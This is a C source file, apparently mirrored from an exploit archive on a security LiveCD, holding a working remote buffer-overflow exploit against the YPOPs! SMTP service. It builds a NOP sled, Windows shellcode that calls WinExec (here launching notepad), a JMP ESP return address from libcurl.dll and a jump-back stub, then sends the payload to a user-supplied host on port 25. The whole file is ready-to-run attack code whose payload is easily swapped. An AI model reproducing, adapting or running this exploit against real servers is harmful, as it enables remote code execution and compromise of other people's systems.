home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / yahoopops / yahoopops.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  152 lines

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4. #include <winsock.h>
  5.  
  6. #pragma comment(lib,"wsock32.lib")
  7.  
  8. int main(int argc, char *argv[])
  9. {
  10. static char overflow[1024];
  11.  
  12. char ret_code[]="\x23\x9b\x02\x10"; //JMP ESP - libcurl.dll
  13. char jump_back[]="\x89\xe3\x66\x81\xeb\xfb\x01\xff\xe3";
  14.  
  15.  
  16. /*- harmless code (tnx to snooq) , will open  notepad on the remote machine */
  17. char code[]= "\x33\xc0" // xor eax, eax  slight modification to move esp up
  18.  "\xb0\xf0"             // mov al, 0f0h
  19.  "\x2b\xe0"             // sub esp,eax
  20.  "\x83\xE4\xF0" // and esp, 0FFFFFFF0h
  21.  "\x55" // push ebp
  22.  "\x8b\xec" // mov ebp, esp
  23.  "\x33\xf6" // xor esi, esi
  24.  "\x56" // push esi
  25.  "\x68\x2e\x65\x78\x65" // push 'exe.'
  26.  "\x68\x65\x70\x61\x64" // push 'dape'
  27.  "\x68\x90\x6e\x6f\x74" // push 'ton'
  28.  "\x46" // inc esi
  29.  "\x56" // push esi
  30.  "\x8d\x7d\xf1" // lea edi, [ebp-0xf]
  31.  "\x57" // push edi
  32.  "\xb8\x35\xfd\xe6\x77" // mov eax,XXXX -> WinExec()win2k(SP4)=0x7c4e9c1d
  33.  "\xff\xd0" // call eax
  34.  "\x4e" // dec esi
  35.  "\x56" // push esi
  36.  "\xb8\xfd\x98\xe7\x77" // mov eax,YYYY ->ExitProcess()win2k(SP4)0x7c4ee01a
  37.  "\xff\xd0"; // call eax
  38.  
  39.  
  40.  
  41.    WSADATA wsaData;
  42.  
  43.  
  44.    struct hostent *hp;
  45.    struct sockaddr_in sockin;
  46.    char buf[300], *check;
  47.    int sockfd, bytes;
  48.    int plen,i;
  49.    char *hostname;
  50.    unsigned short port;
  51.  
  52.   if (argc <= 1)
  53.    {
  54.           printf("YPOPs! SMTP Overflow\n");
  55.           printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n");
  56.       printf("Usage: %s [hostname] [port]\n", argv[0]);
  57.       printf("default port is 25 \n");
  58.  
  59.       exit(0);
  60.    }
  61.  
  62.    printf("YPOPs! SMTP Overflow\n");
  63.    printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n");
  64.  
  65.    hostname = argv[1];
  66.    if (argv[2]) port = atoi(argv[2]);
  67.    else port = atoi("25");
  68.  
  69.  
  70.  
  71.    if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
  72.    {
  73.       fprintf(stderr, "Error setting up with WinSock v1.1\n");
  74.       exit(-1);
  75.    }
  76.  
  77.  
  78.    hp = gethostbyname(hostname);
  79.    if (hp == NULL)
  80.    {
  81.       printf("ERROR: Uknown host %s\n", hostname);
  82.           printf("%s",hostname);
  83.       exit(-1);
  84.    }
  85.  
  86.    sockin.sin_family = hp->h_addrtype;
  87.    sockin.sin_port = htons(port);
  88.    sockin.sin_addr = *((struct in_addr *)hp->h_addr);
  89.  
  90.    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
  91.    {
  92.       printf("ERROR: Socket Error\n");
  93.       exit(-1);
  94.    }
  95.  
  96.    if ((connect(sockfd, (struct sockaddr *) &sockin,
  97.                 sizeof(sockin))) == SOCKET_ERROR)
  98.    {
  99.       printf("ERROR: Connect Error\n");
  100.       closesocket(sockfd);
  101.       WSACleanup();
  102.       exit(-1);
  103.    }
  104.  
  105.    printf("Connected to [%s] on port [%d], sending overflow....\n",
  106.           hostname, port);
  107.  
  108.  
  109.    if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
  110.    {
  111.       printf("ERROR: Recv Error\n");
  112.       closesocket(sockfd);
  113.       WSACleanup();
  114.       exit(1);
  115.    }
  116.  
  117.    /* wait for SMTP service welcome*/
  118.    buf[bytes] = '\0';
  119.    check = strstr(buf, "220");
  120.    if (check == NULL)
  121.    {
  122.       printf("ERROR: NO  response from SMTP service\n");
  123.       closesocket(sockfd);
  124.       WSACleanup();
  125.       exit(-1);
  126.    }
  127.  
  128.  plen=504-sizeof(code);
  129.    memset(overflow,0,sizeof(overflow));
  130.  
  131.    for (i=0; i<plen;i++){strcat(overflow,"\x90");}
  132.  
  133.    strcat(overflow,code);
  134.    strcat(overflow,ret_code);
  135.    strcat(overflow,jump_back);
  136.    strcat(overflow,"\n");
  137.  
  138.    if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
  139.    {
  140.       printf("ERROR: Send Error\n");
  141.       closesocket(sockfd);
  142.       WSACleanup();
  143.       exit(-1);
  144.    }
  145.  
  146.    printf("Exploit Sent.\n");
  147.  
  148.    closesocket(sockfd);
  149.    WSACleanup();
  150.    return 0;
  151. }
  152.